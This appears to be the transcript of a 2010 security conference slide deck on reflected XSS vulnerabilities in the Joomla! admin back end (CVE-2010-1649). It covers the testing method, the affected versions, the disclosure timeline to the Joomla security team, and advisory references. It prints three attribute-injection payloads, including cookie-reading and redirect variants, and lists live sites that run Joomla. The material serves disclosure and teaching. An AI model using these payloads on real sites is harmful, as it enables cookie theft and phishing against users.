Joomla! XSS Vulnerabilities by Riyaz Walikar

Joomla! XSS Vulnerabilities
-- Riyaz Ahemed Walikar

Background
Joomla! - Content Management System
PHP, MySQL
Ease of design and publishing
Admin Module
User pages

Examples
http://www.danone.com/?lang=en
http://www.itwire.com/
http://vho.nasa.gov/
http://new.lincolncenter.org/live/
http://www.spl.usace.army.mil/cms/index.php
http://tatanano.inservices.tatamotors.com/tatamotors/index.php

Tools
Local installation
Firefox + web developer addon
Patience!

HowTo
Install Joomla! locally
Open in Firefox
Login to Admin Module
Change POSTs to GETs
Insert script tags and alert (‘xss’) on various URL parameters
If (alert=true) { print “yay!!”}

Technojabble
The search parameter
Exploit code
" onmousemove=alert('xss') />
" onmousemove=alert(document.cookie) />
" onmousemove=window.location.assign(url) />
17 component modules
All versions prior to 1.5.18
Phishing, malware download, cookie
stealing etc.

Timeline
Discovered between May 10th -12th
Informed JSST on May 13th
Acknowledged on May 13th
Constant updates
Fixed version release May 28th
Fixed Version 1.5.18 [latest stable]
Bugtraq and Secunia June 2nd
NVD June 4th

References
CONFIRM
http://developer.joomla.org/security/news/314-20100501-core-xss-vulnerabilities-in-back-end.html
CVE-2010-1649
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1649
BID: 40444
www.securityfocus.com/bid/40444

References
OSVDB: 65011
http://www.osvdb.org/65011
SECUNIA: 39964
http://secunia.com/advisories/39964
Keeda ID: K-31

Thank You!
riyazwalikar@gmail.com

http://null.co.in	30
http://nullpresentations.blogspot.com	6
http://www.slideshare.net	1

Joomla! XSS Vulnerabilities by Riyaz Walikar

by n|u - The Open Security Community on Jul 10, 2010

Accessibility

Categories

Upload Details

Usage Rights

3 Embeds 37

Statistics

Joomla! XSS Vulnerabilities by Riyaz Walikar — Presentation Transcript